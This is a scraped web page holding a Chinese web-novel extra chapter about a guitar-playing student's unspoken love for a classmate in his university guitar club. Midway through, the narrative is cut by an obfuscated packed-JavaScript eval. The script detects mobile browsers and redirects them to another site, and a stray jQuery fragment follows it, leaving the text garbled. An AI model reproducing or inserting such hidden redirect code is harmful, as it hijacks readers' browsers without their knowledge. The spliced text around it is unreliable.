96. 番外肆:背着吉他的少年
作品:《冬日池鱼》 肖塘第一次见林清鱼,是在大一。
那时她是社联的一个小干事,每周三例行到活动室检查卫生。
那一天,他心情有些不好,所以走到活动室外的长廊抽烟。
昏暗的走道里,他散漫地倚着墙。
大门隔绝了里头的光线,但嘈杂的声音依旧源源不断传出。
烟圈吐出的瞬间,他撩起眼,一个少女出现在他眼前。
彼时刚入校园,她看着还有些青涩。
对陌生的人,总是会不自觉带上几分胆怯。
她是,他亦是。
所以在她怔愣的目光下,他慌张地商量:“我现在就把烟灭了,能不能不扣我们社团的分?”
他其实并不确定规则里有没有这一项,但见她定定看着自己,他的不确定好像又化作了些笃定。
因为自己的过失,导致社团失分,他心里还是很过意不去的。
但见她应该是个好说话的人,所以他打算争取一下。
她手握在门把上,看向他的眼睛干净明亮。
下一秒,门把转动,她很轻地笑了声:“我们不管这个的,你安心抽着。”
门缝被渐渐拉大,里头的光线透出,打在她脸上。
肖塘就这么侧着眸子,无所事事地追随着她的身影。
“打扰了,这边是社联的工作人员,来检查下活动室。”
当身影完全消失在他的视线之际,他听到里头传来很有礼貌的一句。
再出来时,她好奇地又看了他一眼。
那根烟已经被他摁灭,扔进一旁的垃圾桶里。
他迎上她的视线,已经没了方才的生怯。突然来了兴致,他问她:“你每周三都会来检查卫生吗?”
面前的少女嗯了一声,又顿了下,重新说道:“也不一定,如果临时有事,就会和其他工作人员换个班。”
两人是第一次见,自然没有多余的话可说。
在她越过自己,要往更深处的活动室走去时,气息呛了一下,他止不住地咳了几声。
他深吸了口气,艰难缓过那压抑的窒息感后,突然发现,她又停下了脚步。
她眨了眨眼,没来由地和他说:“抽烟有害身体健康。”
他一愣,蓦然笑了下。这一次,换他嗯了一声。
在她离开后,他才不紧不慢地走进活动室。
卫生检查表一共有两份,一份电子版,一份纸质版。
纸质版的就留在每间活动室里,他一进来,就能看见那份被铺在桌上的表格。
在填写了今天日期的旁边,还标注着当日的检察人员。
上面写着:林清鱼。
后来的每周三里,他总能如约而至地碰到她。
两人偶尔会聊上几句,关系渐渐拉近,不过依旧算不上很熟。
有一回,他来晚了。
拐进长廊的瞬间,她正好从活动室退出来。
他加快脚步靠近,怕她走远,还会提高点音量喊她:“又来检查活动室啊,小干事。”
当时的林清鱼对他还算客气,规规矩矩回他:“对,你们活动室今天还挺干净的。”
但她脑回路转得很快,又会冷不丁来上一句:“你没来就这么干净。”
他噎了下,抬了抬眉梢,并不生气,甚至还带了点笑意。
嘴比脑子快。林清鱼心虚地笑了下,解释道:“开个玩笑。”
他看着她尴尬地到处乱瞟,眉眼笑意加深。
他其实早就发现了,她这人很有意思。
和有意思的人相处,心情总会不自觉变好。
他本以为每周只有周三能见她一面,但在一个周末,他没定时地推开活动室的大门。
她就坐在里面,专注地敲着架子鼓。
活动室里还有几个人,大部分是闲下来在聊天。
他将吉他放到一边,坐到沙发上,静静地看着她。
她似乎只是来这边练个鼓,停下来后,她背起书包,正要离开。
路过沙发时,她注意到他,主动朝他打了个招呼。
肖塘好奇地问:“你怎么会在这?”
他听见她说:“因为我也是吉协的社员呀。”
他惊讶了下,又问:“怎么平常时没见着你?”
许是觉得要聊上一会儿,林清鱼索性放下书包,坐到一边。她回答:“我们周三不是经常见面吗?”
她笑了笑,知道自己的回答牛头不对马嘴。
他也知道,但依旧耐心地说:“我指的是,打架子鼓。”
“因为平常时很忙,所以只能周末抽点时间来练练手。”
这一句话,让他来到活动室的频次又变多了些。
庆幸的是,往后她的每一次到来,他都没有错过。
她古灵精怪又有分寸的性格,让她很容易与大家相处到一块儿。
总会有人无形之中被她吸引。
比如,他。
后来,因为音乐上的话题,两人变得熟络起来。
他会拜托她教自己架子鼓,会邀请她来看自己的表演,会让她给自己的编曲demo提意见。
他知道她对待每一个朋友都很好,从来不会拒绝大家的请求。
所以他借着她的真诚,创造了一次又一次相处的机会。
大一下的时候,他突然萌生了组建乐队的想法。
当下,他想到的第一个成员是林清鱼。
他邀请她来做自己的鼓手,但这一次,他头一回被拒绝了。
她说:“我大学花在学习上面的时间会很多,可能没有那么多的时间来排练。”
所以她不希望自己空占一个名额。
她不愿,他就不强求。
有一次,无意得知她会画画,他开玩笑地说:“那我能不能拜托你帮我们乐队设计个logo。”
却没想到,这个请求,她同意了。
乐队名叫云顶小巷,一个被大家说很荒唐的名字,但她说:“还挺神奇的。”
“云层上的弄堂,是奔向自由的幻想。”
她为这个名字,赋予了一个特殊的含义。
那一个logo,她花了一周的时间画出初版。
大片的灰白的云雾之中,凌驾了一朵肆意绽放的玫瑰。
当时很多人都在问,为什么要加一朵很突兀的玫瑰,但他一眼就看出来了。
玫瑰代表着热烈。
——飘渺自由的穹顶之上,有我对热爱的滚烫。
他发现,他们或许会是很同频的一类人。
那一版初稿,后来被拿去让人修改了好几回。
但不论再怎么精修,他都感觉缺失了灵气。
最后,他还是选择采用了原版。
大二上,社团招新那夜的晚会,是他们第一次同台表演。
他拜托人帮忙录制了个视频,留下于他而言,具有纪念意义的画面。
他其实很早就察觉自己的心意,但他不想惊扰这份喜欢,那样会让他们的关系陷入微妙。
这份“微妙”,他没有把握它会变成什么样。
所以他只能,小心翼翼掩藏着那不可言说的情感。
吉协路演上那朵玫瑰,是他带着私心的举动。
logo上那朵突兀而又不可或缺的玫瑰,他想将这最重要的存在赠予她。
那一段时间,他发现林清鱼的朋友圈发得很频繁。有一次碰巧遇到,他好奇地问出这个疑问。
她说:“给大家一个了解我的机会。”
当时他只是觉得,她应该又在胡乱回答着,也没有深想。
只是后来,他才意识到,或许她是在给一个人了解她的机会。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874374|173099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他发现,她开始有在意的人了。
就像他在意她一样。
但好在,那人似乎并不喜欢她。
他知道这个想法很恶劣,可只有这样,他才能争取到一丝机会。
吉协的活动室并不是时时刻刻都热闹着,有几个夜晚,空荡的房间里只会剩下他一个人。
他会坐到架子鼓前,握着鼓棒,熟练地敲打着动次打次的节奏。
因为时间太少,她只教了他这个,他也只学了这个。
狂欢夜的表演,是他鼓起勇气的请求。
排练的缘故,他们见面的机会再次多了起来。
但在那时,他也真切地听到了,她承认她有喜欢的人。
他突然有些庆幸,他没有戳破那层喜欢。这样,他才有继续和她相处的理由。
他告诉自己,感情是自私的。
更何况他们没有在一起,那人不喜欢她,那结局就还有扭转的余地。
再后来,她被拒绝,那一晚她哭得很伤心。
他在心疼她的同时,又有几分顽劣地想,这是不是就说明,上天选择眷顾他了。
他怕再晚一步,会被抢先,于是他开始筹划一切。
情敌相见,总是容易针锋相对,他不加掩饰地讨厌他。
因为见面的次数多了,他隐隐发现,那人似乎并不像她说的:他不喜欢她。
这个念头一旦在脑海中形成,就很容易胡思乱想。
他甚至觉得,自己无形之中又一次败下阵来。
那一晚,吉协的活动室灯火通明。
他颓颓地坐在沙发上,桌前是已经空了的酒瓶。
他头仰着,有些难受地靠着背垫,眼眶泛红,里头隐隐有泪意。
空荡的房间很安静,李箐坐在他旁边,沉默地看着他。
片刻,这个房间里终于有了声响。
李箐问他:“都这么久了,为什么不再为自己争取一次呢?”
他又一次选择沉默,内心似在挣扎。
过了好久,一句话在房间里回响。
“我以为他是不喜欢她的,那我就还有机会。可是他喜欢她了,那我,就一点机会也没有了。”
他照旧与她用着朋友的方式相处。
偶尔会问上一两句话,从她的态度来看,她似乎不再像往常那般,全心全意地挂在那人身上。
他有时候也在想,会不会是自己多虑了。或许这一次,他可以选择尝试。
迎新晚会的那次,是少年的第一次冲动。
他借着学院的名义,一如往常那般,邀请她加入节目的编排。
那一段时间,他一直在犹豫。如果说最后不能如自己所愿,那是否,至少让她知道呢。
于是他选择向金铖求助。
一是因为两人关系好,再加上金铖谈过几段,有经验。二是因为,那时候金铖接触得最多的异性,是林清鱼。
他想借由金铖的说辞,来揣测她的想法。
正式演出那一晚,他筹备了很久。
不经意地与她聊着天,不经意地提起聚餐的事情,他想将一切都装作很自然的样子。
这样,她就能同意。
如果,没有那个变数的出现。
但他又很早就预料到了,那人或许,并不会让自己这么顺利。
从她选择跟江司衡离开的那一刻,他就知道,自己再也没有任何机会了。
那一晚他先提出的聚餐,他却选择了缺席。
会堂的老师允许他们将乐器寄存在后台一晚,等到第二日再搬回去。
大家一致都选择将乐器先摆放着,除了他。
他兀自将自己的吉他放进那个黑色的吉他包里。
在最失落的那个晚上。
那个背着吉他的少年,选择回到了他们初见的地方。

